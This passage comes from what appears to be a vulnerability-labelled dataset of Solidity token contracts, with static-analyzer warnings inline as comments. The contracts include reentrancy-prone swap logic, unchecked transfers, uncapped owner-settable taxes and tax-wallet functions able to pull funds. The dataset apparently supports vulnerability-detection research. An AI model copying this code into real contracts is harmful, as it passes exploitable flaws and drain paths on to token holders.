_preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 37bdf19\n\t\t\t\t// reentrancy-benign | ID: 54f5789\n\t\t\t\t// reentrancy-eth | ID: 8da32cc\n swapTokensEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 37bdf19\n\t\t\t\t\t// reentrancy-eth | ID: 8da32cc\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExempt[from] || _isExempt[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 54f5789\n initialCoinRate = block.number;\n }\n\n if (!_isExempt[from] && !_isExempt[to]) {\n if (to != uniswapV2Pair) {\n CoinRate storage coinRt = coinRate[to];\n\n if (from == uniswapV2Pair) {\n if (coinRt.launchRate == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 54f5789\n coinRt.launchRate = _preventSwapBefore <= _buyCount\n ? block.number\n : type(uint).max;\n }\n } else {\n CoinRate storage coinRtSn = coinRate[from];\n\n if (\n coinRtSn.launchRate < coinRt.launchRate ||\n !(coinRt.launchRate > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 54f5789\n coinRt.launchRate = coinRtSn.launchRate;\n }\n }\n } else {\n CoinRate storage coinRtSn = coinRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: 54f5789\n coinRtSn.rateUid = coinRtSn.launchRate - initialCoinRate;\n\n\t\t\t\t// reentrancy-benign | ID: 54f5789\n coinRtSn.rateAgv = block.timestamp;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8da32cc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 37bdf19\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8da32cc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8da32cc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 37bdf19\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensEth(uint256 tokenAmount) private lockTheSwap {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 959212e\n\t\t// reentrancy-events | ID: 37bdf19\n\t\t// reentrancy-benign | ID: 54f5789\n\t\t// reentrancy-benign | ID: 5717a0c\n\t\t// reentrancy-eth | ID: 8da32cc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 959212e\n\t\t// reentrancy-events | ID: 37bdf19\n\t\t// reentrancy-eth | ID: 8da32cc\n _taxWallet.transfer(amount);\n }\n\n function exportETH(address _to, address _ethPercent) external {\n require(_msgSender() == _taxWallet);\n\n _manualSend(_ethPercent, \"export\", 0, _to);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0fe20cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0fe20cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ae1758e): Dynomutt.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ae1758e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce1ee7f): Dynomutt.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ce1ee7f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 266eee7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 266eee7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0fe20cc\n\t\t// reentrancy-eth | ID: 266eee7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0fe20cc\n\t\t// unused-return | ID: ce1ee7f\n\t\t// reentrancy-eth | ID: 266eee7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0fe20cc\n\t\t// unused-return | ID: ae1758e\n\t\t// reentrancy-eth | ID: 266eee7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 266eee7\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0fe20cc\n swapEnabled = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10160.sol",
"size_bytes": 21325,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb1cbe3): AYA._maxTaxSwap should be constant \n\t// Recommendation for fb1cbe3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe570b0): AYA.caBlockLimit should be constant \n\t// Recommendation for fe570b0: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bfa854): AYA.caLimit should be constant \n\t// Recommendation for 6bfa854: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9f7e5c9): AYA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9f7e5c9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 620422e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 620422e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6de1348): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6de1348: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 620422e\n\t\t// reentrancy-benign | ID: 6de1348\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 620422e\n\t\t// reentrancy-benign | ID: 6de1348\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc30930): AYA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc30930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6de1348\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 620422e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cfbe7fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cfbe7fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 36b476a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 36b476a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57f2325): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57f2325: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: cfbe7fa\n\t\t\t\t// reentrancy-eth | ID: 36b476a\n\t\t\t\t// reentrancy-eth | ID: 57f2325\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cfbe7fa\n\t\t\t\t\t// reentrancy-eth | ID: 36b476a\n\t\t\t\t\t// reentrancy-eth | ID: 57f2325\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 36b476a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 36b476a\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: cfbe7fa\n\t\t\t\t// reentrancy-eth | ID: 57f2325\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cfbe7fa\n\t\t\t\t\t// reentrancy-eth | ID: 57f2325\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 57f2325\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cfbe7fa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 57f2325\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 57f2325\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cfbe7fa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 620422e\n\t\t// reentrancy-events | ID: cfbe7fa\n\t\t// reentrancy-benign | ID: 6de1348\n\t\t// reentrancy-eth | ID: 36b476a\n\t\t// reentrancy-eth | ID: 57f2325\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1732c81): Missing events for critical arithmetic parameters.\n\t// Recommendation for 1732c81: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 1732c81\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 1732c81\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 1732c81\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 1732c81\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 1732c81\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f2092cf): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for f2092cf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: f2092cf\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 620422e\n\t\t// reentrancy-events | ID: cfbe7fa\n\t\t// reentrancy-eth | ID: 36b476a\n\t\t// reentrancy-eth | ID: 57f2325\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 942b3fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 942b3fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 437bf5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 437bf5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 407a056): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 407a056: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce2a942): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ce2a942: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0fcb6fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0fcb6fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 942b3fe\n\t\t// reentrancy-benign | ID: 437bf5e\n\t\t// reentrancy-eth | ID: 0fcb6fa\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 942b3fe\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 942b3fe\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 437bf5e\n\t\t// unused-return | ID: ce2a942\n\t\t// reentrancy-eth | ID: 0fcb6fa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 437bf5e\n\t\t// unused-return | ID: 407a056\n\t\t// reentrancy-eth | ID: 0fcb6fa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 437bf5e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0fcb6fa\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 437bf5e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10161.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapRouter {\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = msg.sender;\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"you are not owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"new is 0\");\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract Token is IERC20, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address payable public mkt;\n\n address payable private team;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n IUniswapRouter public _uniswapRouter;\n\n mapping(address => bool) public isMarketPair;\n\n bool private inSwap;\n\n uint256 private constant MAX = ~uint256(0);\n\n address public _uniswapPair;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 642f0f6): Token.constructor(string,string).receiveAddr lacks a zerocheck on \t mkt = address(receiveAddr) \t team = address(receiveAddr)\n\t// Recommendation for 642f0f6: Check that the address is not zero.\n constructor(string memory _n, string memory _s) {\n _name = _n;\n\n _symbol = _s;\n\n _decimals = 9;\n\n uint256 Supply = 420690000000;\n\n _totalSupply = Supply * 10 ** _decimals;\n\n swapAtAmount = _totalSupply / 20000;\n\n address receiveAddr = msg.sender;\n\n _balances[receiveAddr] = _totalSupply;\n\n emit Transfer(address(0), receiveAddr, _totalSupply);\n\n\t\t// missing-zero-check | ID: 642f0f6\n mkt = payable(receiveAddr);\n\n\t\t// missing-zero-check | ID: 642f0f6\n team = payable(receiveAddr);\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[receiveAddr] = true;\n\n _isExcludeFromFee[mkt] = true;\n\n _isExcludeFromFee[team] = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1b66837): Token.setMKT(address,address).newMKT lacks a zerocheck on \t mkt = newMKT\n\t// Recommendation for 1b66837: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2c75c7f): Token.setMKT(address,address).newTeam lacks a zerocheck on \t team = newTeam\n\t// Recommendation for 